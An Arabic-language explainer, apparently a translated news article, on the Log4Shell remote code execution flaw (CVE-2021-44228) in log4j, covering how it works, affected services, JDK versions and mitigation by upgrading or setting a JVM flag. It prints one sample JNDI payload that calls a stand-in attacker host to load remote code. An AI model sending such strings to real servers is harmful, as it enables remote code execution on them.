تم اكتشاف ثغرة خطيرة لتنفيذ التعليمات البرمجية عن بعد في log4j، وهي أداة تسجيل شائعة الاستخدام من قبل أغلب الشركات. إنها ثغرة خطيرة للغاية، تؤثر على كل خادم يعمل بنظام Java تقريبًا، ومن السهل جدًا استغلالها، لذا ستحتاج إلى تحديثها والتخفيف من حدة المشكلة في أسرع وقت ممكن.
كيف يعمل هذا؟
تم تعقب الخلل بواسطة سي في إي-2021-44228من المحتمل أن يؤثر ذلك على أي تطبيق Java يستخدم log4j
، وهو عدد كبير جدًا بالنظر إلى مدى انتشاره. إذا سجل تطبيقك سلسلة نصية أرسلها مستخدم، فمن المحتمل أن يكون عرضة للخطر. وفيما يتعلق بالثغرات الأمنية، فهي واحدة من أسوأ الثغرات الأمنية هذا العام، حيث يمكنها استهداف أي خادم يعمل بنظام Java بطريقة ما (على الرغم من أن متجه الهجوم الأساسي قد يكون أصعب على إصدارات JDK الحديثة، المزيد حول ذلك أدناه).
في الأساس، تسمح هذه الثغرة للمهاجم بإرسال أي سلسلة مثل السلسلة التالية إلى خادمك، وإذا سجلها في مكان ما في تطبيقك، فسينفذ خادمك الكود المستضاف على هذا العنوان.
${jndi:ldap://attacker.com/a}
يعمل هذا لأنه عند تحليل هذه السلسلة ذات التنسيق الفريد، log4j
سوف يقدم طلبًا من خلال تسمية جافا وواجهة الدليل، والذي ينتهي به الأمر بإرسال طلب تنزيل إلى نقطة نهاية عشوائية. يقوم بتنزيل وإلغاء تسلسل الملف .class
ملف بطريقة غير آمنة. نظرًا لأن فئات Java يمكن أن تحتوي على مبدئات ثابتة يتم تشغيلها كلما تم تجميع الفئة والإشارة إليها، فإن هذا يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد من سلسلة قصيرة وبسيطة. على سبيل المثال، يمكن للعميل تعيين وكيل المستخدم الخاص به على هذه السلسلة، أو تضمينها بطريقة أخرى في طلب، وعندما يقوم الخادم بتسجيلها، سيؤدي ذلك إلى تشغيل الاستغلال.
إنه أمر فظيع جدًا، الحصول على درجة 10 كاملة على مقياس CVSS.
سيؤثر ذلك على العديد من التطبيقات. على سبيل المثال، كانت لعبة Minecraft واحدة من أوائل الألعاب التي نشرت الخبر وأصلحت الثغرة، حيث كان من الممكن تنفيذ التعليمات البرمجية على الخوادم وعلى جميع اللاعبين المتصلين بخادم من خلال رسائل الدردشة داخل اللعبة. تم إصدار تحديث إصلاحي سريع للعبة لإصلاح الخلل.
لقد تبين بالفعل أن الخدمات الشهيرة مثل Steam و iCloud معرضة للخطر، وقد اكتشفت شركة أبحاث الأمن GreyNoise بالفعل عناوين IP متعددة تقوم بإجراء عمليات مسح بحثًا عن خوادم معرضة للخطر.
ربما كنت تقوم بالركض بالفعل log4j
كما هو مضمن في مئات المكتبات الأخرى كأداة تسجيل قياسية. ومع ذلك، فإن إصدارات JDK أكبر من 6u211
، 7u201
، 8u191
، و 11.0.1
لا تتأثر بمتجه الهجوم الأساسي (باستخدام LDAP) الذي يتم استغلاله الآن. هذا لا يعني أنه لا ينبغي عليك التحديث، حيث أن الخلل في log4j
+ لا يزال JNDI شديدًا، ويمكن علاجه بسهولة يتم استخدامه مع متجهات الهجوم الأخرى أيضًا.
كيف يمكنني إصلاحه؟
لحسن الحظ، هناك بالفعل إصلاح يصحح المشكلة بالكامل، لذا يجب عليك تحديث خوادمك في أسرع وقت ممكن. لكن هذا يؤثر على تطبيقات العميل أيضًا، والتي تحتاج أيضًا إلى التحديث من أجل هذا التصحيح الحرج. بعد كل شيء، هناك 3 مليارات جهاز يعمل بنظام Java، لذا سيستغرق الأمر بعض الوقت قبل إصلاح المشكلة بالكامل.
لقد تم بالفعل إصلاح الثغرة الأمنية في log4j
أحدث إصدار 2.15.0-rc2لذا يجب عليك تحديثه إذا كان ذلك ممكنًا. كما تم نقل التصحيح إلى إصدارات سابقة، نظرًا لخطورته بالنسبة للمستخدمين الذين قد يعلقون في الإصدارات القديمة.
إذا كنت تستخدم مكتبة أخرى تستخدم log4j
، لا يزال بإمكانك التحديث يدويًا في معظم الحالات، ولكن إذا لم تتمكن من ذلك، فيمكنك استخدام علم JVM هذا للتخفيف من المشكلة، والذي يخبرك ببساطة log4j
عدم إجراء أي عمليات بحث أبدًا عند تنسيق الرسائل.
-Dlog4j2.formatMsgNoLookups=true